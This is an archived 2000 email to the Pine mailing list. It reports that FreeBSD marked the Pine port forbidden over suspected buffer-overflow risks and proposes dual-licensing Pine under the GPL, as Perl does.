Message-Id: <Pine.BSF.4.21.0009301653360.57517-100000@palanthas.neverending.org>
Date: Sat, 30 Sep 2000 17:07:55 -0500 (CDT)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: Frank Tobin <ftobin@uiuc.edu>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: licensing issues
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Sender: ftobin@palanthas.neverending.org
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN

Recently, the FreeBSD security team decided to mark the Pine port as
FORBIDDEN, due to a high suspiscion of buffer-overflow problems (e.g.,
grepping the source for strcpy and friends), and the history of related
programs.  This move has been dicussed lengthily on the freebsd-security
mailing list, and some ideas that have come up talk concern the licensing
of Pine, which may limit the ability of developers to share developments
in an Open Source fashion.

My question is this: has there been any thought given to the prospect of
licensing Pine under a dual license: its current license, and the GPL?  
As far as I can tell, The GPL is a "tighter" license than the current one,
so it would not give away any owernship problems UofW would be concerned
with.  Providing Pine under the GPL, a highly standardized license, would
solve any concern about validness of Pine as Open Source or Free Software.

This may become more and more of an issue as people wishing to maintain
Pine outside of UofW try to fix security issues in the Pine package.  

Pine is, of course, highly popular due to it's user-friendliness and
interface-design, and I would hate to see it diminish because simply of
licensing problems.

Perl simillarly does a dual-licensing; it distributes under both the
Artistic (a fairly liberal license) and the GPL (a tighter license); the
end-user can choose which license to apply.

-- 
Frank Tobin		http://www.uiuc.edu/~ftobin/

-- 
-----------------------------------------------------------------
 For information about this mailing list, and its archives, see: 
 http://www.washington.edu/pine/pine-info/
-----------------------------------------------------------------
